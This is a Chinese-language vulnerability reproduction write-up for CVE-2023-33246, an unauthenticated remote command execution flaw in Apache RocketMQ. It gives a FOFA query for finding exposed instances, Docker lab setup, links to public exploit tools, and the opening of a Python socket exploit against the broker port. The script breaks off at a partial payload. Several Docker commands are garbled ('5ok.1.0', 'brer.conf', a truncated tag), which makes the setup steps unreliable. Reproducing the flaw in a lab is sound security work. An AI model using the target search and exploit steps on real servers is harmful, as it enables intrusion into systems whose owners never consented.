目录
漏洞概述
Apache RocketMQ是一个分布式消息中间件,专为万亿级超大规模的消息处理而设计,具有高吞吐量、低延迟、海量堆积、顺序收发等特点。RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer(9876端口)、Broker(10911端口)、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果
影响范围:
Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5
漏洞编号:CVE-2023-33246
官网描述如下:
也即是多个组件暴露在外网且缺乏权限验证
这次的漏洞实际上是两个洞,但是只收录了一个,RCE的过程中,用到了前面的一部分
环境搭建
FOFA:title="RocketMQ"
docker环境
拉取docker镜像
docker pull apache/rocketmq:5.1.0 docker pull apacherocketmq/rocketmq-console:2.0.0
启动namesrv
docker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:5.1.0 sh mqnamesrv /bin/bash
启动broker
docker run -dit -p 10909:10909 -p 10911:10911 --name mqbroker --restart=always --link mqsrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:5ok.1.0 sh mqbroker -c /home/rocketmq/rocketmq-5.1.0/conf/brer.conf
启动console
docker run -dit --name mqconsole -p 8089:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.
访问8089看到控制台,arm下这个docker有一些问题,这里就直接用二进制环境复现
bin环境
./mqbroker ./mqnamesrv ./mqcontroller
其实可以只用broker组件来复现,任意文件写入是三个组件均存在的
漏洞复现
采用工具https://github.com/Le1a/CVE-2023-33246(该工具可以还原配置,不然要重复执行)
或者https://github.com/Serendipity-Lucky/CVE-2023-33246
两个工具用法稍微有一点不一样,具体用法看markdown文档,交互的过程用的自带的协议
python实现
import socket import binascii client = socket.socket() # you ip client.connect(('192.168.111.129',10911)) # data json = '{"code":25,"extFields":{